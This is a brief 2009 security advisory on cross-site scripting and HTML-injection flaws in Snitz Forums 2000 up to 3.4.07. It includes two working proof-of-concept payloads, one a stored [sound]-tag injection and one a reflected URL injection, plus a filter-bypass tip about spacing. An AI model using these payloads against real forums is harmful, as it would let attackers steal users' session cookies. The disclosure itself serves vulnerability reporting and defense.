Snitz Forums 2000 vulnerabilities

Cross Site Scripting and HTML Injection

Posted by Andrea Fabrizi on October 18, 2009

Snitz Forums 2000 <=3.4.07 is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

Permanent XSS

If [sound] tag is allowed:

[sound]http://url_to_valid_mp3_or_m3u_file.m3u' onLoad='alert(document.cookie)[/sound]

Reflected XSS

http://localhost/forum/pop_send_to_friend.asp?url=</textarea><img src='' onLoad ='alert(document.cookie)'>

Note the space: onLoad<space>="alert(document.cookie)"